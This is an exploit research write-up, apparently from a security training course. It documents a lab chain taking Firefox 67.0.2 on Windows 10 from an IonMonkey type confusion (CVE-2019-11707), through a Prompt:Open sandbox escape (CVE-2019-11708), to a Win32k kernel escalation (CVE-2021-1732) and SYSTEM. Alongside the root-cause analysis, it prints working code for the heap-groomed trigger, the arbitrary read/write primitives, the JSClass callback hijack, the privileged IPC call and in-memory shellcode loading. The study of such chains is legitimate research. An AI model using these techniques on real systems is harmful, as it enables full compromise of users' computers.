Saltar a contenido

CVE-2019-11707: from an IonMonkey type confusion to SYSTEM

Versión en español

Research scope

This article was developed as part of Binary Gecko Academy. It documents an authorized laboratory chain against a deliberately vulnerable Firefox and Windows image. The final research artifact is one self-contained HTML document.

CVE-2019-11707 is a critical type confusion in Firefox's IonMonkey optimizing JIT. The browser bug provides native code execution in the content process, but that process remains constrained by the Firefox sandbox. The complete laboratory chain therefore combines three vulnerabilities:

CVE-2019-11707  renderer RCE (Low Integrity)
        -> CVE-2019-11708  browser sandbox transition (Medium Integrity)
        -> CVE-2021-1732   Win32k local privilege escalation
        -> NT AUTHORITY\SYSTEM

The article begins with Mozilla's source patch, derives the root cause from that diff, explains how the reduced testcase becomes an arbitrary read/write primitive, and follows the chain through native renderer execution, the parent-process transition, and the embedded kernel LPE.

TL;DR

Stage Vulnerability or technique Result
JIT confusion CVE-2019-11707 in Array.prototype.pop specialization incorrectly sized typed-array store
Memory primitive adjacent ArrayBuffer metadata corruption arbitrary eight-byte read/write
Native callback JIT page scan plus temporary JSClass substitution controlled native execution in the content process
Sandbox transition CVE-2019-11708, Prompt:Open execution in the Medium Integrity parent
Kernel LPE CVE-2021-1732, embedded as Donut position-independent code SYSTEM token and command prompt

The browser-side PoC is intentionally build-specific. It validates the loaded module before using calibrated RVAs and fails closed when the expected layout is absent.

Item Selected value
Vulnerable source baseline Firefox 67.0.2 x64
First fixed release Firefox 67.0.3
Demonstration browser Official Firefox 67.0.2 x64 release
Demonstration OS Windows 10 2004 x64, build 19041.264
Final artifact one self-contained HTML document
Observed end state NT AUTHORITY\SYSTEM command prompt

1. The fix first: Mozilla's source diff

The shortest route to the root cause is the correction itself. Mozilla identifies Firefox 67.0.2 as affected and Firefox 67.0.3 as the first fixed release. Comparing the official FIREFOX_67_0_2_RELEASE tree with FIREFOX_67_0_3_RELEASE isolates the fix for Bug 1544386 in three JIT files:

Item Verified value
Vulnerable tag FIREFOX_67_0_2_RELEASE9b59fd6e2180...
Fixed tag FIREFOX_67_0_3_RELEASE11b425534a0e...
Upstream change Bug 1544386, part 1; Phabricator D29486
Changed files MCallOptimize.cpp, MIR.cpp, MIR.h

The decisive call-site change

The vulnerable optimizer asked whether the canonical Array.prototype chain contained indexed properties. That is narrower than the condition required for safe specialization: an individual array can have its prototype replaced. The fixed code asks whether the actual receiver obj, or anything on its effective prototype chain, can supply an extra indexed property.

 // Watch out for extra indexed properties on the object or its prototype.
 bool hasIndexedProperty;
 MOZ_TRY_VAR(hasIndexedProperty,
-    ArrayPrototypeHasIndexedProperty(this, script()));
+    ElementAccessHasExtraIndexedProperty(this, obj));

The same replacement appears in the array push path and in the shared pop/shift inlining path:

-// Watch out for indexed properties on the prototype.
+// Watch out for extra indexed properties on the object or its prototype.
 bool hasIndexedProperty;
 MOZ_TRY_VAR(hasIndexedProperty,
-    ArrayPrototypeHasIndexedProperty(this, script()));
+    ElementAccessHasExtraIndexedProperty(this, obj));

The old helper was then removed from MIR.cpp and MIR.h:

-// Whether Array.prototype, or an object on its proto chain, has an indexed
-// property.
-AbortReasonOr<bool> jit::ArrayPrototypeHasIndexedProperty(...)
-{
-  if (JSObject* proto = script->global().maybeGetArrayPrototype())
-    return PrototypeHasIndexedProperty(builder, proto);
-  return true;
-}

The bug was not in pop() itself. The unsafe condition was an optimizer guard that examined the global array prototype rather than the receiver's effective prototype chain. Once the receiver could produce an indexed value absent from the inferred element types, IonMonkey's optimized result type was no longer sound.

2. Vulnerability and root cause

Mozilla describes CVE-2019-11707 as a type confusion in Array.pop triggered while manipulating JavaScript objects. It was exploited in the wild, rated critical, and fixed in Firefox 67.0.3 and Firefox ESR 60.7.1.

Field Value
Component SpiderMonkey, IonMonkey optimizing JIT
Bug class incorrect type and side-effect modelling leading to type confusion
Affected baseline Firefox 67.0.2 and earlier affected builds
First fixed release Firefox 67.0.3; Firefox ESR 60.7.1
Immediate impact attacker-controlled native execution in the content process
Full-chain impact SYSTEM on the selected Windows laboratory image

Why Firefox 67.0.2 was selected

Firefox 67.0.2 x64 is both the vulnerable source baseline and the final demonstration browser. It was selected because it is the last official release before Mozilla shipped the fix in 67.0.3. Using that adjacent release provides a direct relationship between the source diff, the vulnerable machine code, and the browser exercised by the PoC.

The complete chain was recalibrated against the official 67.0.2 x64 release. It was then validated from a standard-user session with a normal Firefox profile: no user.js, modified preference, HTTP server, neighboring DLL, PowerShell stage, or downloaded payload was required. Firefox 65.0.1 remains only as the historical bring-up target used while developing the first Windows port.

This choice is still an explicit build contract rather than a claim that every binary labelled "67.0.2" is interchangeable. The validated official xul.dll has SHA-256 99e1b9dc8c30c30e5c0c5d515d0b6c1d9a9e873cd35216310b27e6d1ecbce5ef.

Compile-time belief versus runtime semantics

During warm-up, the optimizer observes an array whose own elements all have type T1. IonMonkey inlines Array.prototype.pop, concludes that the result is also T1, and removes the corresponding type barrier. This is valid only if the value must come from the array's own dense elements.

JavaScript allows the array's prototype to be replaced. If the array's own element at index zero is absent, runtime property lookup continues through that custom prototype and can return a value of type T2. Optimized machine code still consumes it as T1.

warm-up: every value is T1
        -> IonMonkey inlines pop() and removes the type barrier
        -> a custom prototype supplies T2
        -> optimized code uses T2 as if it were T1

An invariant is a condition that must remain true for an optimization to be correct. Here, the inferred return type was treated as invariant even though indexed values from the effective prototype chain could break it.

The reduced public testcase and the in-the-wild accessor variant look different, but both violate the same compiler assumption: the optimizer did not model everything that the receiver's prototype chain could do.

Why the patch is sufficient

ElementAccessHasExtraIndexedProperty(this, obj) reasons about the actual receiver and installs the necessary constraints. If the object or one of its prototypes can supply an extra indexed property, the optimizer declines the specialization. Execution then remains on a path that preserves generic JavaScript lookup and type checks. The patch restores the missing precondition before corruption can occur.

3. Discovery context: Fuzzilli and JIT-oriented fuzzing

CVE-2019-11707 was first produced by fuzzing and later reduced manually. JIT fuzzing is different from ordinary JavaScript mutation: a candidate has to remain valid and predictable long enough to become hot and optimized, and only then break a compiler assumption.

Fuzzilli mutates programs in FuzzIL, an intermediate representation that preserves variable and operation structure. A lifter turns FuzzIL into JavaScript, a persistent runner executes it, coverage feedback selects interesting programs, and a minimizer reduces crashes while preserving behavior.

corpus -> FuzzIL mutation -> lift to JavaScript
       -> persistent execution + coverage -> evaluate/minimize -> corpus

The minimized pattern is a starting point, not a complete exploit. The Windows port retains the type mismatch and steers the incorrectly sized store into groomed ArrayBuffer metadata:

var bufs = [];
for (var i = 0; i < 100; i++) bufs.push(new ArrayBuffer(0x20));

var abuf = bufs[5];
var u32 = new Uint32Array(abuf);
const values = [u32, u32, u32, u32, u32];

function vuln(i) {
  if (!values.length) values[3] = u32;
  values.pop()[i] = 0x80;
  for (let j = 0; j < 100000; j++) {} // force optimization
}

values.__proto__ = [new Uint8Array(abuf), u32, u32];
for (i = 0; i < 1600; i++) vuln(18);

IonMonkey specializes the result as a Uint32Array, while the prototype can return a Uint8Array at runtime. Index 18 consequently maps to a different byte displacement than the optimized store assumes. In the selected heap layout, that store reaches metadata belonging to the adjacent buffer.

4. From adjacent buffer corruption to arbitrary read/write

Expected Win64 layout

The exploit grooms one hundred equal-sized ArrayBuffer objects. The mistyped store is useful only if the selected buffers occupy the expected relative positions. A successful attempt must produce exactly:

bufs[6].byteLength === 0x80;
bufs[7].byteLength === 0x20;

Any other shape is rejected and the document performs a bounded retry.

Region Role after corruption
bufs[5] and its typed views source objects used by the mistyped store
bufs[6] metadata length enlarged to 0x80, creating an out-of-bounds view
bufs[7] metadata data pointer and length retargeted through that view
leaker object controlled window onto arbitrary process memory

At offset 0x50, the corrupted view obtains the six significant bytes of the neighboring leaker object's address. The implementation zero-extends this canonical 48-bit user-space pointer and validates it before use.

Retargeting the typed-array view

The selected Firefox 67.0.2 x64 layout stores the relevant ArrayBuffer data pointer in shifted form. The exploit shifts the leaked pointer right by one bit, writes it into bufs[7] metadata at offset 0x40, and expands the length byte at offset 0x48. A new view over bufs[7] then exposes the leaker object's data pointer at offset 0x38.

Changing those eight bytes retargets the leaker:

function pointAt(address) {
  for (var i = 0; i < 8; i++) controller[0x38 + i] = address[i];
}

function read8(address) {
  pointAt(address);
  return leaker.slice(0, 8);
}

function write8(address, value) {
  pointAt(address);
  for (var i = 0; i < 8; i++) leaker[i] = value[i] || 0;
}

Before the chain continues, the implementation reads a known object header, writes an eight-byte marker into owned memory, reads it back, restores the original bytes, and restores the leaker data pointer. This reversible test distinguishes a valid primitive from a lucky crash or cosmetic page output.

Fail-closed module fingerprinting

The primitive leaks the JSClass pointer of an ArrayBuffer. Instead of assuming that xul.dll was loaded at a fixed address or obtaining its base by one subtraction, the exploit walks backwards from that pointer over 64-KiB allocation boundaries. A candidate is accepted only if:

  • the image begins with an MZ signature;
  • e_lfanew points to a valid PE signature;
  • the leaked class pointer lies inside the candidate image;
  • SizeOfImage equals 0x05f7e000 and the class RVA equals 0x045e5428; and
  • subsequent writes can be read back from their expected addresses.

This runtime scan removes the dependency on a particular ASLR base while retaining fail-closed build validation. It does not make native RVAs portable across Firefox builds: calibrated offsets are used only after the loaded image matches the official 67.0.2 layout.

5. From arbitrary read/write to native renderer execution

Arbitrary memory access is an exploitation primitive, but it is not yet proof of controlled native execution. The PoC uses an existing Ion allocation as a code anchor and forges the smallest practical callback object instead of loading an external DLL.

Locating a stable JIT callback

Two small JavaScript functions contain IEEE-754 constants whose byte representation includes an x64 stub equivalent to mov eax, 1; ret. Repeated calls trigger Ion compilation. The exploit recovers the function, JIT information, and code pointers through known object slots, then verifies that the tuple remains stable across several event-loop epochs.

Ion code can move while compilation is being published. A bounded scan of at most eight neighboring pages searches for the full return-TRUE signature. The scan runs only after the enclosing function layout is validated. If the code pointer changes late, the attempt is discarded instead of writing through a stale address.

The 67.0.2 port also made the scan less dependent on incidental code generation. The stager keeps every floating-point constant materialized and searches for the semantic six-byte sequence b8 01 00 00 00 c3 (mov eax, 1; ret) rather than including optional trailing NOPs. Heap grooming, JIT stabilization, and the native callback remain bounded to six document attempts.

Temporary JSClass substitution

An ArrayBuffer object's group normally points to its genuine JSClass. The exploit copies only the class fields required by the runtime into owned typed-array storage, supplies a forged operations table, and replaces ops->addProperty with the validated JIT stub. It swaps the group class pointer only long enough to add one property, invokes the callback, and immediately restores the original class.

var ops = add(fakeData, 0x30);
var fields = [0x00, 0x08, 0x18, 0x20, 0x28];

for (var i = 0; i < fields.length; i++)
  write8(add(fakeData, fields[i]), read8(add(originalClass, fields[i])));

write8(add(fakeData, 0x10), ops); // JSClass.ops
write8(ops, jitEntry);            // ops->addProperty
write8(objectGroup, fakeData);    // temporary class
restoreLeaker();

target.nativeTrigger = marker;    // invoke native callback

write8(objectGroup, originalClass);
restoreLeaker();

The forged callback returns the non-zero Boolean value TRUE. The page emits WINPORT_MINIMAL_RENDERER_RCE_OK and marker=0x55 only after control has returned to JavaScript. The screenshot does not need to display the literal word TRUE: RCE_OK is the visible postcondition proving that the native callback returned successfully.

Renderer native-execution checkpoint

This renderer-only image is a historical calibration checkpoint. It proves that the native call returned to JavaScript, but is deliberately not presented as evidence of a sandbox escape or SYSTEM privileges. The final 67.0.2 validation instead used the complete clean HTML and verified the owner of the resulting command prompt.

6. Crossing the Firefox sandbox with CVE-2019-11708

Why the demonstrated chain contains three vulnerabilities

Native execution from CVE-2019-11707 inherits the Low Integrity token and restrictions of Firefox's content process. The first design tried to execute the public CVE-2021-1732 payload directly from that context. It failed before reaching the exploitable Win32k state because the payload relies on window creation, user-mode callbacks, and desktop-heap operations that were not usable from the selected renderer.

That negative result defines a real boundary: CVE-2021-1732 is the final privilege escalation, but it is not a usable Low-Integrity sandbox escape in this configuration. A kernel exploit already demonstrated to work from a Low Integrity renderer could replace both CVE-2019-11708 and CVE-2021-1732 and produce a cleaner two-vulnerability chain. That alternative was not integrated here.

The validated implementation therefore uses:

CVE-2019-11707  renderer RCE
        -> CVE-2019-11708  Low-to-Medium browser transition
        -> CVE-2021-1732   Medium-to-SYSTEM kernel LPE

Mozilla's CVE-2019-11708 advisory explains that insufficient validation of Prompt:Open IPC parameters allowed a compromised child process to make the non-sandboxed parent open attacker-selected web content. Combined with a second vulnerability, this could become arbitrary execution on the host.

In-memory privilege-gate calibration

Early experiments used a prepared Firefox profile to expose the legacy privilege surface. That was useful for diagnosis but inappropriate for the final standalone artifact. The final PoC performs calibration in memory:

  1. Validate the exact xul.dll image.
  2. Update three build-specific gate/cache locations using byte-preserving read-modify-write operations.
  3. Read every byte back before proceeding.
  4. Allow the modifications to disappear when the browser process exits.

No user.js, custom profile, persistent preference, PowerShell wrapper, or local server is required.

The document enters the formally named ipc_escape state, obtains the system principal through the exposed legacy API, and sends Prompt:Open with the same local document as the destination:

function promptOpen() {
  enablePrivilege();
  var Cu = Components.utils;
  var services = Cu.import("resource://gre/modules/Services.jsm").Services;
  var sb = Cu.Sandbox(services.scriptSecurityManager.getSystemPrincipal());
  Cu.evalInSandbox("function ds(w){return w.docShell}", sb);
  sb.ds(window).messageManager.sendSyncMessage(
      "Prompt:Open", { uri: page("parent") });
}

The parent first loads the document in a content-shaped context. The PoC consequently repeats its memory primitive and native callback inside that process before entering the final privileged state. It never reuses renderer addresses in the parent.

Low Integrity content process
  11707 R/W + native callback
        -> validated xul.dll and in-memory privilege gate
        -> Prompt:Open (CVE-2019-11708)
        -> Medium Integrity parent
  repeat 11707 R/W + native callback

7. Integrating the kernel LPE as a single stage

Why CVE-2021-1732 was selected

The laboratory image is Windows 10 2004 x64, build 19041.264. CVE-2021-1732 is a Win32k flag-state synchronization bug in win32kfull!xxxCreateWindowEx.

During the xxxClientAllocWindowClassExtraBytes callback, user mode can change a tagWND field from a pointer into an offset and set the corresponding flag. After NtCallbackReturn, the field is overwritten without clearing the flag. Kernel code then interprets an unchecked attacker-controlled offset as a desktop-heap address.

The public exploitation strategy converts this state mismatch into window-object out-of-bounds access, then arbitrary kernel read/write, walks ActiveProcessLinks to locate the current and SYSTEM EPROCESS objects, and replaces the current process token with the SYSTEM token.

user callback state desynchronization
        -> tagWND out-of-bounds access
        -> arbitrary kernel read/write
        -> EPROCESS traversal
        -> SYSTEM token replacement

From a public EXE to embedded position-independent code

Loading a DLL proved the chain but required adjacent files. The final artifact instead transforms the native CVE-2021-1732 executable with Donut v1.1 into an x64 position-independent loader containing both the PE image and the fixed command line cmd.exe /k whoami.

The generated 26,860-byte blob is Base64-encoded inside the HTML. The JavaScript integration verifies the decoded size, allocates writable memory, copies the blob, changes the region to executable, flushes the instruction cache, and starts its entry point in a new thread:

var raw = atob(LPE.dataB64);
if (raw.length !== 26860) throw Error("unexpected LPE size");

var memory = VirtualAlloc(null, raw.length, 0x3000, 0x04); // RW
memcpy(memory, bytes, raw.length);
VirtualProtect(memory, raw.length, 0x20, oldProtect);       // RX
FlushInstructionCache(GetCurrentProcess(), memory, raw.length);
var thread = CreateThread(null, 0, memory, null, 0, threadId);

Donut provides the in-memory PE loader, relocation handling, delayed import resolution, and command-line patching. JavaScript retains the native objects while the worker thread is alive.

End-to-end state machine

The browser changes execution context several times, but every transition is initiated by the same document and correlated by one run identifier:

open HTML
  -> renderer: CVE-2019-11707 R/W + native execution
  -> ipc_escape: CVE-2019-11708
  -> parent: repeat R/W + native execution
  -> embedded CVE-2021-1732 position-independent loader
  -> SYSTEM cmd.exe

8. Final validation and portability boundary

The exact clean deliverable was opened directly from disk in the official Firefox 67.0.2 x64 release, using the normal profile of a standard Windows user. It completed the renderer primitive, the privileged IPC transition, parent-process native execution, and the embedded kernel LPE. The resulting interactive process was C:\Windows\System32\cmd.exe /k whoami, owned by NT AUTHORITY\SYSTEM.

Validated component Value
Windows Windows 10 2004 x64, build 19041.264
Initial principal standard desktop user
Firefox official 67.0.2 x64 release
firefox.exe SHA-256 6bbf10d3514b905bca35eafd4622d6a065dd4a527cf6f5b6f00a8c832bbaf2ad
xul.dll SHA-256 99e1b9dc8c30c30e5c0c5d515d0b6c1d9a9e873cd35216310b27e6d1ecbce5ef
Clean HTML SHA-256 10be27c219d1f57c85fe088fb69f4067a72e283de9c7f1fd1d566d3147452ef0
Final process owner NT AUTHORITY\SYSTEM

The dynamic PE scan makes the browser side independent of the module's randomized base, so a second machine with the same official Firefox build can use a different ASLR layout. It does not make the PoC universal across every Firefox 67 package or Windows installation. The browser fingerprint must match, the Windows kernel must remain vulnerable to CVE-2021-1732, and the user must have an interactive desktop session. End-to-end validation was completed on the declared laboratory VM; cross-VM reproducibility should therefore be described as expected for the same hashes and OS build, not guaranteed for arbitrary machines.

Conclusion

Mozilla's one-line call-site change captures the browser root cause: the optimizer checked the global Array.prototype instead of the effective prototype chain of the receiver being specialized. That allowed Array.prototype.pop to produce a value whose runtime type contradicted IonMonkey's inferred type and enabled an incorrectly sized typed-array store.

The Windows port turns that store into adjacent ArrayBuffer metadata corruption and then arbitrary read/write. A build-fingerprinted JIT scan and temporary JSClass::addProperty substitution provide a native callback that returns safely to JavaScript. CVE-2019-11708 supplies the required parent-process transition, and a Donut-wrapped CVE-2021-1732 executable runs from the HTML's memory to replace the process token with SYSTEM.

Under the selected build contract, the result is:

CVE-2019-11707 renderer RCE
  -> CVE-2019-11708 privileged IPC bridge
  -> CVE-2021-1732
  -> NT AUTHORITY\SYSTEM

References

  1. Mozilla Foundation Security Advisory 2019-18
  2. Mozilla Bugzilla 1544386
  3. Mozilla source changeset a74585a7dec4
  4. Google Project Zero: CVE-2019-11707 root-cause analysis
  5. Fuzzilli: Fuzzing for JavaScript JIT Compiler Vulnerabilities
  6. Mozilla Foundation Security Advisory 2019-19
  7. Mozilla Bugzilla 1559858
  8. Google Project Zero: CVE-2021-1732 root-cause analysis
  9. Public CVE-2021-1732 proof of concept
  10. Donut: position-independent code for in-memory execution